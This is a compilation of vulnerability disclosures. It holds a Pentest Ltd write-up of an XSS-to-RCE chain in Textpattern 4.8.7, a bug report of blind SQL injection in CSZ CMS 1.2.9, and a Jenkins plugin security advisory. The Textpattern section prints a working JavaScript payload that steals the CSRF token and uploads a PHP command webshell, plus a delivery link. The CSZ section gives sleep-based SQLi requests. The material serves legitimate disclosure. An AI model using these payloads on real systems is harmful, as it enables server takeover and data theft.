textpattern 4.8.7 is vulnerable to Cross Site Scripting (XSS) via /textpattern/index.php,Body. A remote and unauthenticated attacker can use XSS to trigger remote code execution by uploading a webshell. To do so they must first steal the CSRF token before submitting a file upload request.

**Researchers:**

**Paul Ritchie**

As part of our ongoing commitment to Open-Source security, Pentest Ltd conducted a research project into Textpattern version 4.8.7.

Textpattern is a free and open-source content management system for PHP and MySQL. According to builtwith.com it was publicly in use on over two-thousand websites.

In this instance an unauthenticated attacker could craft an attack resulting in Remote Code Execution (RCE) on the backend server. To achieve this the victim must click on a maliciously generated link which embedded HTML tags and JavaScript commands. If the victim had sufficient privileges and an established authentication session, then the application would be exploited after that single click.

****Finding the Vulnerability  
****

The post preview function was vulnerable to XSS through the “Body” parameter. This exploit can be used to steal the CSRF token to enable arbitrary code execution through the plugin upload functionality.

The following shows the HTTP request used to confirm the preview was vulnerable:

				
					
`GET /textpattern/index.php?Body=A+test+article.+%0D%0A%0D%0A%3Cimg+src%3Dx+onerror%3Dalert(1)%3E&app_mode=async&view=preview HTTP/1.1 Host: 192.168.127.128 Cookie: [...] Valid Cookie is Added By the Victim’s Browser [...] Connection: close`
				
			

By default, the application submitted the preview request over HTTP POST. No distinction was made between data in the POST body or within a GET URL making it possible to exploit this via a link.

When decoded, the HTML payload was as shown below:

				
					
`<img src="https://pentest.co.uk/labs/leveraging-xss-to-get-rce-in-textpattern/x" onerror="alert(1)">`
				
			

This included a new “img” tag which executed a popup message when viewed in a browser:

![Pentest Limited | Textpattern](https://pentest.co.uk/wp-content/uploads/Textpattern1.png)

An unauthenticated attacker with knowledge of this issue could create a URL for any installation of textpattern. The attacker did not require authenticated access to the target installation of textpattern. The victim must interact with the payload at a time when they are authenticated.

If the victim has access to the “plugins” functionality the attacker could gain Remote Code Execution (RCE) by uploading a PHP file to the server. The plugin upload functionality required a valid “\_txp\_token” which acted as a Cross-Site Request Forgery (CSRF) defence. The CSRF token was static for the duration of a user’s session. It was accessible easily in the DOM in locations such as the following:

				
					
`<script> var textpattern = {"_txp_uid":"b52057c79f0e75619c9f4c14862beb32","event":"plugin","step":"plugin_upload","_txp_token":"c33a3808f37893bcf79b5dff8fc725b9","ajax_timeout":30000,"prefs":{"max_file_size":"2000000","max_upload_size":"2097152","production_status":"testing","do_spellcheck":"#page-article #body, #page-article #title,#page-image #image_alt_text, #page-image #caption,#page-file #description,#page-link #link-title, #page-link #link-description","language_ui":"en-gb","message":"<span class=\"ui-icon ui-icon-{status}\"><\/span> {message}","messagePane":"<span class=\"messageflash {status}\" role=\"alert\" aria-live=\"assertive\">\n    {message}\n    <a class=\"close\" role=\"button\" title=\"{close}\" href=\"#close\"><span class=\"ui-icon ui-icon-close\">{close}<\/span><\/a>\n<\/span>"},"textarray":{}}; </script>`

				
			

To exploit this the attacker would need to use JavaScript to request the “/textpattern/index.php” URL and extract the “\_txp\_token” from the location highlighted above. The following JavaScript was used to steal the token, and then to upload a PHP webshell:

				
					
`<script> // return the response text from the request function httpGet(theUrl){     var xmlHttp = new XMLHttpRequest();     xmlHttp.open( "GET", theUrl, false ); // false for synchronous request     xmlHttp.send( null );     return xmlHttp.responseText; } // steal CSRF token from DOM in the "/textpattern/index.php" function stealToken() { 	var start = '"_txp_token":"'; 	var end   = '","ajax_timeout":'; 	var url   = '/textpattern/index.php'; 	var res   = httpGet(url); 	var token =  res.substring(res.indexOf(start) + start.length, res.indexOf(start) + start.length + 32 ); 	return token; } // upload webshell using the token. function uploadWebShell(token) { 	fetch('/textpattern/index.php',{ 		method: 'POST', 		headers: { 			'Content-Length': '667',  			'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryozIzNEFsufRB6LpY',  			'Connection': 'close' 		}, 		credentials: 'include', 		body: '------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="theplugin"; filename="csrfshell.php"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "<\/pre>"; die; }?>\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="install_new"\x0d\x0a\x0d\x0aUpload\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="event"\x0d\x0a\x0d\x0aplugin\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="step"\x0d\x0a\x0d\x0aplugin_upload\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="_txp_token"\x0d\x0a\x0d\x0a'+token+'\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY--\x0d\x0a' 	}); } uploadWebShell(stealToken()); </script>`

				
			

The above payload could be delivered using a link with the techniques demonstrated below:

				
					
`/textpattern/index.php?Body=<img src="https://pentest.co.uk/labs/leveraging-xss-to-get-rce-in-textpattern/x" onerror="eval(atob('<PAYLOAD">'))>&app_mode=async&view=preview`
				
			

The “eval” function executed the payload which is Base64 decoded using “atob”. To exploit this the full JavaScript payload must be Base64 and then URL encoded, before being pasted over the “<PAYLOAD>” marker above.

After exploitation a new “csrfshell.php” script was accessible which executed OS commands supplied in the “cmd” parameter:

![Pentest Limited | Textpattern](https://pentest.co.uk/wp-content/uploads/Textpattern2.png)

This confirmed that exploitation had occurred.

****Risk Analysis  
****

**  
Risk Category:** High  
**CVSS:** 9.6/Critical – AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H  
**  
Explanation:** In this instance an unauthenticated attacker could craft an attack resulting in Remote Code Execution (RCE) on the backend server. To achieve this the victim must click on a maliciously generated link which embedded HTML tags and JavaScript commands. If the victim had sufficient privileges and an established authentication session, then they would be exploited after that single click.

****Recommendation  
****

To protect your Textpattern installations update to 4.8.8 as soon as possible. Find out more here.

****Affected Item(s)****

Textpattern version 4.8.7

**Our latest research**

![Pentest Limited | Research | OpenCMS](https://pentest.co.uk/wp-content/uploads/Multiple-OpenCMS-Hero.png)

![Pentest Limited | Research | OpenCMS Clickjacking](https://pentest.co.uk/wp-content/uploads/OpenCMS-Jack1.png)

**How can we support you?**

Contact our team today to find out how we can help support your organization.

CVE-2021-44082: Leveraging XSS to get RCE in Textpattern | Pentest Limited

CSZ CMS 1.2.9 has a Time and Boolean-based Blind SQL Injection vulnerability in the endpoint /admin/export/getcsv/article_db, via the fieldS[] and orderby parameters.

**Description:**  
I found Blind SQL Injection vulnerability in your CMS (version\_1.2.9) "export" page. It refers to an injection attack where an attacker can execute malicious SQL statements that control a web application's database server.

**CMS Version:**  
1.2.9

**Affected URL:**  
http://127.0.0.1/admin/export

**Steps to Reproduce:**

1.  At first login your panel
2.  then go to "General Menu > CSV Export / Import"
3.  then select any Table Name and Select Fields. so your request data will be

GET /CSZCMS/admin/export/getcsv/article\_db?fieldS%5B%5D=article\_db\_id&orderby=article\_db\_id&sort=ASC&submit=Export+to+CSV HTTP/1.1  
Host: 127.0.0.1:8080  
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Waterfox/56.5  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,_/_;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1:8080/CSZCMS/admin/export/article\_db  
Cookie: \_ga=GA1.1.2106075763.1616578884; \_pk\_id.39.dc78=a6fc2902298b2ea4.1616578885.2.1616584112.1616584112.; back\_to\_admin=http%3A//127.0.0.1%3A8080/latest/admin/; mw-back-to-live-edit=true; show-sidebar-layouts=1; remember\_web\_59ba36addc2b2f9401580f014c7f58ea4e30989d=1%7CBAvqukS6679ewJxXOtVLBjexrDL7YqJvXggGnu2KyFWLhlDug5YVpb73EpNB%7C%242y%2410%248iuh7Co7azrDdHytSwJcmOenP.Q6xQmX0vmOiYNhu8PeouVHMpuaa; cszcookie\_b54b1631aee51cb5309f41e2a09fec82csrf\_cookie\_csz=fb9f7d8059850bb0ad61e99c643f3e8a; b54b1631aee51cb5309f41e2a09fec82\_cszsess=7pbpjbv1fkbu918ojs9424325ql2dioa  
Connection: close  
Upgrade-Insecure-Requests: 1

4.  "**fieldS\[\]**" or "**orderby**" parameter is vulnerable. Let's try to inject Blind SQL Injection use this query "(select(0)from(select(sleep(10)))a)" in "orderby" parameter. You request data will be

GET /CSZCMS/admin/export/getcsv/article\_db?fieldS%5B%5D=article\_db\_id&orderby=(select(0)from(select(sleep(10)))a)&sort=ASC&submit=Export+to+CSV HTTP/1.1  
Host: 127.0.0.1:8080  
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Waterfox/56.5  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,_/_;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1:8080/CSZCMS/admin/export/article\_db  
Cookie: \_ga=GA1.1.2106075763.1616578884; \_pk\_id.39.dc78=a6fc2902298b2ea4.1616578885.2.1616584112.1616584112.; back\_to\_admin=http%3A//127.0.0.1%3A8080/latest/admin/; mw-back-to-live-edit=true; show-sidebar-layouts=1; remember\_web\_59ba36addc2b2f9401580f014c7f58ea4e30989d=1%7CBAvqukS6679ewJxXOtVLBjexrDL7YqJvXggGnu2KyFWLhlDug5YVpb73EpNB%7C%242y%2410%248iuh7Co7azrDdHytSwJcmOenP.Q6xQmX0vmOiYNhu8PeouVHMpuaa; cszcookie\_b54b1631aee51cb5309f41e2a09fec82csrf\_cookie\_csz=fb9f7d8059850bb0ad61e99c643f3e8a; b54b1631aee51cb5309f41e2a09fec82\_cszsess=7pbpjbv1fkbu918ojs9424325ql2dioa  
Connection: close  
Upgrade-Insecure-Requests: 1

![ss1](https://user-images.githubusercontent.com/41516016/114700737-b16ccf80-9d43-11eb-8dd5-2bd2fa9d6656.png)  
![ss3](https://user-images.githubusercontent.com/41516016/114700783-c0538200-9d43-11eb-8233-35187c10086d.png)

**Proof of Concept:**  
You can see the Proof of Concept. which I've attached a video to confirm the vulnerability.

Blind.SQL.Injection.mp4

**Impact:**  
An attacker could extract information from database.

Let me know if any further info is required.

Thanks & Regards  
Rahad Chowdhury  
Cyber Security Specialist  
BugsBD Limited  
https://www.linkedin.com/in/rahadchowdhury/

CVE-2021-43701: Bug Report: Blind SQL Injection Vulnerability · Issue #31 · cskaza/cszcms

A missing permission check in Jenkins JiraTestResultReporter Plugin 165.v817928553942 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials.

This advisory announces vulnerabilities in the following Jenkins deliverables:

*   Bitbucket Server Integration Plugin
*   Continuous Integration with Toad Edge Plugin
*   Coverage/Complexity Scatter Plot Plugin
*   Flaky Test Handler Plugin
*   instant-messaging Plugin
*   JiraTestResultReporter Plugin
*   Job and Node ownership Plugin
*   Pipeline: Phoenix AutoTest Plugin
*   Proxmox Plugin
*   Proxmox Plugin
*   Proxmox Plugin
*   RocketChat Notifier Plugin
*   SiteMonitor Plugin
*   Tests Selector Plugin

**Descriptions****Stored XSS vulnerability in Bitbucket Server Integration Plugin**

**SECURITY-2639 / CVE-2022-28133**  
**Severity (CVSS):** High  
**Affected plugin: atlassian-bitbucket-server-integration**  
**Description:**

Bitbucket Server Integration Plugin 2.0.0 through 3.1.0 (inclusive) does not limit URL schemes for callback URLs on OAuth consumers.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to create BitBucket Server consumers.

Bitbucket Server Integration Plugin 3.2.0 limits allowed URL schemes to prevent creation of consumers with javascript: URL scheme.

**Missing permission checks in Bitbucket Server Integration Plugin**

**SECURITY-2640 / CVE-2022-28134**  
**Severity (CVSS):** Medium  
**Affected plugin: atlassian-bitbucket-server-integration**  
**Description:**

Bitbucket Server Integration Plugin 3.1.0 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to create, view, and delete BitBucket Server consumers.

Bitbucket Server Integration Plugin 3.2.0 requires Overall/System Read permission to view BitBucket Server consumers, and Overall/Administer permission to modify them.

**Passwords stored in plain text by instant-messaging Plugin**

**SECURITY-2161 / CVE-2022-28135**  
**Severity (CVSS):** Low  
**Affected plugin: instant-messaging**  
**Description:**

instant-messaging Plugin provides a framework for plugins integrating Jenkins with instant messaging services.

instant-messaging Plugin 1.41 and earlier stores passwords for group chats unencrypted in the global configuration file of plugins based on instant-messaging Plugin on the Jenkins controller.

These passwords can be viewed by users with access to the Jenkins controller file system.

instant-messaging Plugin 1.42 stores passwords for group chats encrypted once the integrating plugin’s configuration is saved again.

**CSRF vulnerability and missing permission check in JiraTestResultReporter Plugin**

**SECURITY-2236 / CVE-2022-28136 (CSRF), CVE-2022-28137 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: JiraTestResultReporter**  
**Description:**

JiraTestResultReporter Plugin 165.v817928553942 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

This form validation method requires POST requests and Overall/Administer permission in JiraTestResultReporter Plugin 166.v0cc6208295b5.

**CSRF vulnerability and missing permission check in RocketChat Notifier Plugin**

**SECURITY-2241 / CVE-2022-28138 (CSRF), CVE-2022-28139 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: rocketchatnotifier**  
**Description:**

RocketChat Notifier Plugin 1.4.10 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified username and password.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

RocketChat Notifier Plugin 1.5.0 requires POST requests and Overall/Administer permission for the affected form validation method.

**XXE vulnerability in Flaky Test Handler Plugin**

**SECURITY-1896 / CVE-2022-28140**  
**Severity (CVSS):** High  
**Affected plugin: flaky-test-handler**  
**Description:**

Flaky Test Handler Plugin 1.2.1 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers with Item/Configure permission to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Flaky Test Handler Plugin 1.2.2 disables external entity resolution for its XML parser.

**Password stored in plain text by Proxmox Plugin**

**SECURITY-2079 / CVE-2022-28141**  
**Severity (CVSS):** Low  
**Affected plugin: proxmox**  
**Description:**

Proxmox Plugin 0.5.0 and earlier stores the Proxmox Datacenter password unencrypted in the global config.xml file on the Jenkins controller as part of its configuration.

This password can be viewed by users with access to the Jenkins controller file system.

Proxmox Plugin 0.6.0 stores the Proxmox Datacenter password encrypted once its configuration is saved again.

**SSL/TLS certificate validation globally disabled by Proxmox Plugin**

**SECURITY-2081 / CVE-2022-28142**  
**Severity (CVSS):** Medium  
**Affected plugin: proxmox**  
**Description:**

Proxmox Plugin 0.6.0 and earlier disables SSL/TLS certificate validation for the entire Jenkins controller JVM when configured to ignore SSL/TLS issues.

Proxmox Plugin 0.7.0 no longer disables SSL/TLS certificate validation for the entire Jenkins controller JVM.

**CSRF vulnerability and missing permission checks in Proxmox Plugin**

**SECURITY-2082 / CVE-2022-28143 (CSRF), CVE-2022-28144 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: proxmox**  
**Description:**

Proxmox Plugin 0.7.0 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to:

*   connect to an attacker-specified host using attacker-specified username and password, performing a connection test,
    
*   disable SSL/TLS validation for the entire Jenkins controller JVM as part of the connection test (see SECURITY-2081 / CVE-2022-28142),
    
*   and test a rollback with attacker-specified parameters.
    

Additionally, these endpoints do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

Proxmox Plugin 0.7.1 requires POST requests and Overall/Administer permission for the affected HTTP endpoints.

**XSS vulnerability in Continuous Integration with Toad Edge Plugin**

**SECURITY-1892 / CVE-2022-28145**  
**Severity (CVSS):** High  
**Affected plugin: ci-with-toad-edge**  
**Description:**

Continuous Integration with Toad Edge Plugin 2.3 and earlier uses a patched fork of an old version of the file browser for workspaces, archived artifacts, and userContent/ from Jenkins core (DirectoryBrowserSupport) to serve reports.

This fork removes the Content-Security-Policy header functionality introduced for SECURITY-95.

This results in a stored cross-site scripting (XSS) exploitable by attackers with Item/Configure permission or otherwise able to control report contents.

Continuous Integration with Toad Edge Plugin 2.4 uses the built-in Jenkins file browser to serve reports.

Some reports generated by this plugin rely on the ability to execute JavaScript. See the plugin’s documentation for a detailed explanation and options.

**Arbitrary file read vulnerability in Continuous Integration with Toad Edge Plugin**

**SECURITY-2633 / CVE-2022-28146**  
**Severity (CVSS):** Medium  
**Affected plugin: ci-with-toad-edge**  
**Description:**

Continuous Integration with Toad Edge Plugin 2.3 and earlier allows attackers with Item/Configure permission to read arbitrary files on the Jenkins controller by specifying an input folder on the Jenkins controller as a parameter to its build steps.

Continuous Integration with Toad Edge Plugin 2.4 only allows copying files from the node the build is executing on.

**Missing permission check in Continuous Integration with Toad Edge Plugin**

**SECURITY-2635 / CVE-2022-28147**  
**Severity (CVSS):** Medium  
**Affected plugin: ci-with-toad-edge**  
**Description:**

Continuous Integration with Toad Edge Plugin 2.3 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to check for the existence of an attacker-specified file path on the Jenkins controller file system.

Continuous Integration with Toad Edge Plugin 2.4 requires Overall/Administer permission for the affected form validation method.

**Path traversal vulnerability on Windows in Continuous Integration with Toad Edge Plugin**

**SECURITY-2654 / CVE-2022-28148**  
**Severity (CVSS):** Medium  
**Affected plugin: ci-with-toad-edge**  
**Description:**

Continuous Integration with Toad Edge Plugin 2.3 and earlier uses a patched fork of an old version of the file browser for workspaces, archived artifacts, and userContent/ from Jenkins core (DirectoryBrowserSupport) to serve reports.

The fork did not receive the fix for SECURITY-2481 in Jenkins 2.315 and LTS 2.303.2.

This results in a path traversal vulnerability allowing attackers with Item/Read permission to obtain the contents of arbitrary files on Windows controllers.

Continuous Integration with Toad Edge Plugin 2.4 uses the built-in Jenkins file browser to serve reports, inheriting the fix in Jenkins core if running on a recent enough version.

**Stored XSS vulnerability in Job and Node ownership Plugin**

**SECURITY-2285 / CVE-2022-28149**  
**Severity (CVSS):** High  
**Affected plugin: ownership**  
**Description:**

Job and Node ownership Plugin 0.13.0 and earlier does not escape the names of secondary owners.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**CSRF vulnerability and missing permission check in Job and Node ownership Plugin**

**SECURITY-2062 (1) / CVE-2022-28150 (CSRF), CVE-2022-28151 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: ownership**  
**Description:**

Job and Node ownership Plugin 0.13.0 and earlier does not perform a permission check in several HTTP endpoints.

This allows attackers with Item/Read permission to change the owners and item-specific permissions of a job.

Additionally, this endpoint does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

This CSRF vulnerability is only exploitable in Jenkins 2.286 and earlier, LTS 2.277.1 and earlier. See the LTS upgrade guide.

**CSRF vulnerability in Job and Node ownership Plugin**

**SECURITY-2062 (2) / CVE-2022-28152**  
**Severity (CVSS):** Medium  
**Affected plugin: ownership**  
**Description:**

Job and Node ownership Plugin 0.13.0 and earlier does not require POST requests for an HTTP endpoint, resulting in a cross-site request forgery (CSRF) vulnerability.

This vulnerability allows attackers to restore the default ownership of a job.

**Stored XSS vulnerability in SiteMonitor Plugin**

**SECURITY-1932 / CVE-2022-28153**  
**Severity (CVSS):** High  
**Affected plugin: sitemonitor**  
**Description:**

SiteMonitor Plugin 0.6 and earlier does not escape URLs of sites to monitor in tooltips.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**XXE vulnerability in Coverage/Complexity Scatter Plot Plugin**

**SECURITY-1899 / CVE-2022-28154**  
**Severity (CVSS):** High  
**Affected plugin: covcomplplot**  
**Description:**

Coverage/Complexity Scatter Plot Plugin 1.1.1 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers able to control the input files for the 'Public Coverage / Complexity Scatter Plot' post-build step to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

**XXE vulnerability in Pipeline: Phoenix AutoTest Plugin**

**SECURITY-1897 / CVE-2022-28155**  
**Severity (CVSS):** High  
**Affected plugin: phoenix-autotest**  
**Description:**

Pipeline: Phoenix AutoTest Plugin 1.3 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers able to control the input files for the readXml or writeXml build step to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

**Path traversal vulnerability in Pipeline: Phoenix AutoTest Plugin allows reading arbitrary files**

**SECURITY-2683 / CVE-2022-28156**  
**Severity (CVSS):** Medium  
**Affected plugin: phoenix-autotest**  
**Description:**

Pipeline: Phoenix AutoTest Plugin 1.3 and earlier implements a Pipeline step (copy) to copy files from the running build’s directory on the Jenkins controller to an agent without sanitizing the path specified.

This allows attackers with Item/Configure permission to copy arbitrary files and directories from the Jenkins controller to the agent workspace.

**Arbitrary file read vulnerability in Pipeline: Phoenix AutoTest Plugin**

**SECURITY-2684 / CVE-2022-28157**  
**Severity (CVSS):** Medium  
**Affected plugin: phoenix-autotest**  
**Description:**

Pipeline: Phoenix AutoTest Plugin 1.3 and earlier implements a Pipeline step (ftp) to upload files to an FTP server without limiting the source directory.

This allows attackers with Item/Configure permission to upload arbitrary files from the Jenkins controller via FTP to an attacker-specified FTP server.

**Missing permission checks in Pipeline: Phoenix AutoTest Plugin allow enumerating credentials IDs**

**SECURITY-2685 / CVE-2022-28158**  
**Severity (CVSS):** Medium  
**Affected plugin: phoenix-autotest**  
**Description:**

Pipeline: Phoenix AutoTest Plugin 1.3 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.

**Stored XSS vulnerability in Tests Selector Plugin**

**SECURITY-2262 / CVE-2022-28159**  
**Severity (CVSS):** High  
**Affected plugin: selected-tests-executor**  
**Description:**

Tests Selector Plugin 1.3.3 and earlier does not escape the Properties File Path option for Choosing Tests parameters.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**Arbitrary file read vulnerability in Tests Selector Plugin**

**SECURITY-2338 / CVE-2022-28160**  
**Severity (CVSS):** Medium  
**Affected plugin: selected-tests-executor**  
**Description:**

Tests Selector Plugin 1.3.3 and earlier allows users with Item/Configure permission to read arbitrary files on the Jenkins controller using the Choosing Tests parameter.

**Severity**

*   SECURITY-1892: High
*   SECURITY-1896: High
*   SECURITY-1897: High
*   SECURITY-1899: High
*   SECURITY-1932: High
*   SECURITY-2062 (1): Medium
*   SECURITY-2062 (2): Medium
*   SECURITY-2079: Low
*   SECURITY-2081: Medium
*   SECURITY-2082: Medium
*   SECURITY-2161: Low
*   SECURITY-2236: Medium
*   SECURITY-2241: Medium
*   SECURITY-2262: High
*   SECURITY-2285: High
*   SECURITY-2338: Medium
*   SECURITY-2633: Medium
*   SECURITY-2635: Medium
*   SECURITY-2639: High
*   SECURITY-2640: Medium
*   SECURITY-2654: Medium
*   SECURITY-2683: Medium
*   SECURITY-2684: Medium
*   SECURITY-2685: Medium

**Affected Versions**

*   **Bitbucket Server Integration Plugin** up to and including 3.1.0
*   **Continuous Integration with Toad Edge Plugin** up to and including 2.3
*   **Coverage/Complexity Scatter Plot Plugin** up to and including 1.1.1
*   **Flaky Test Handler Plugin** up to and including 1.2.1
*   **instant-messaging Plugin** up to and including 1.41
*   **JiraTestResultReporter Plugin** up to and including 165.v817928553942
*   **Job and Node ownership Plugin** up to and including 0.13.0
*   **Pipeline: Phoenix AutoTest Plugin** up to and including 1.3
*   **Proxmox Plugin** up to and including 0.5.0
*   **Proxmox Plugin** up to and including 0.6.0
*   **Proxmox Plugin** up to and including 0.7.0
*   **RocketChat Notifier Plugin** up to and including 1.4.10
*   **SiteMonitor Plugin** up to and including 0.6
*   **Tests Selector Plugin** up to and including 1.3.3

**Fix**

*   **Bitbucket Server Integration Plugin** should be updated to version 3.2.0
*   **Continuous Integration with Toad Edge Plugin** should be updated to version 2.4
*   **Flaky Test Handler Plugin** should be updated to version 1.2.2
*   **instant-messaging Plugin** should be updated to version 1.42
*   **JiraTestResultReporter Plugin** should be updated to version 166.v0cc6208295b5
*   **Proxmox Plugin** should be updated to version 0.6.0
*   **Proxmox Plugin** should be updated to version 0.7.0
*   **Proxmox Plugin** should be updated to version 0.7.1
*   **RocketChat Notifier Plugin** should be updated to version 1.5.0

These versions include fixes to the vulnerabilities described above. All prior versions are considered to be affected by these vulnerabilities unless otherwise indicated.

As of publication of this advisory, no fixes are available for the following plugins:

*   Coverage/Complexity Scatter Plot Plugin
*   Job and Node ownership Plugin
*   Pipeline: Phoenix AutoTest Plugin
*   SiteMonitor Plugin
*   Tests Selector Plugin

Learn why we announce these issues.

**Credit**

The Jenkins project would like to thank the reporters for discovering and reporting these vulnerabilities:

*   **Daniel Beck, CloudBees, Inc.** for SECURITY-1892, SECURITY-2062 (1), SECURITY-2062 (2), SECURITY-2081, SECURITY-2082, SECURITY-2683, SECURITY-2684, SECURITY-2685
*   **Daniel Beck, CloudBees, Inc. and, independently, Long Nguyen, Viettel Cyber Security, and Marc Heyries** for SECURITY-2079
*   **Jeff Thompson, CloudBees, Inc.** for SECURITY-1896, SECURITY-1897, SECURITY-1899
*   **Justin Philip** for SECURITY-2338
*   **Kevin Guerroudj** for SECURITY-2236, SECURITY-2262, SECURITY-2285
*   **Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2633, SECURITY-2635, SECURITY-2639, SECURITY-2640
*   **Marc Heyries** for SECURITY-2241
*   **Son Nguyen (@s0nnguy3n\_)** for SECURITY-2161
*   **Wadeck Follonier, CloudBees, Inc.** for SECURITY-1932

CVE-2022-28137: Jenkins Security Advisory 2022-03-29

A missing permission check in Jenkins Continuous Integration with Toad Edge Plugin 2.3 and earlier allows attackers with Overall/Read permission to check for the existence of an attacker-specified file path on the Jenkins controller file system.

CVE-2022-28147: Jenkins Security Advisory 2022-03-29

Jenkins Proxmox Plugin 0.5.0 and earlier stores the Proxmox Datacenter password unencrypted in the global config.xml file on the Jenkins controller where it can be viewed by users with access to the Jenkins controller file system.

CVE-2022-28141: Jenkins Security Advisory 2022-03-29

A cross-site request forgery (CSRF) vulnerability in Jenkins Proxmox Plugin 0.7.0 and earlier allows attackers to connect to an attacker-specified host using attacker-specified username and password (perform a connection test), disable SSL/TLS validation for the entire Jenkins controller JVM as part of the connection test (see CVE-2022-28142), and test a rollback with attacker-specified parameters.

CVE-2022-28143: Jenkins Security Advisory 2022-03-29

Jenkins Flaky Test Handler Plugin 1.2.1 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

CVE-2022-28140: Jenkins Security Advisory 2022-03-29

Jenkins Proxmox Plugin 0.6.0 and earlier disables SSL/TLS certificate validation globally for the Jenkins controller JVM when configured to ignore SSL/TLS issues.

CVE-2022-28142: Jenkins Security Advisory 2022-03-29

Jenkins instant-messaging Plugin 1.41 and earlier stores passwords for group chats unencrypted in the global configuration file of plugins based on Jenkins instant-messaging Plugin on the Jenkins controller where they can be viewed by users with access to the Jenkins controller file system.

CVE-2022-28135: Jenkins Security Advisory 2022-03-29

A missing permission check in Jenkins RocketChat Notifier Plugin 1.4.10 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials.

Tag

#csrf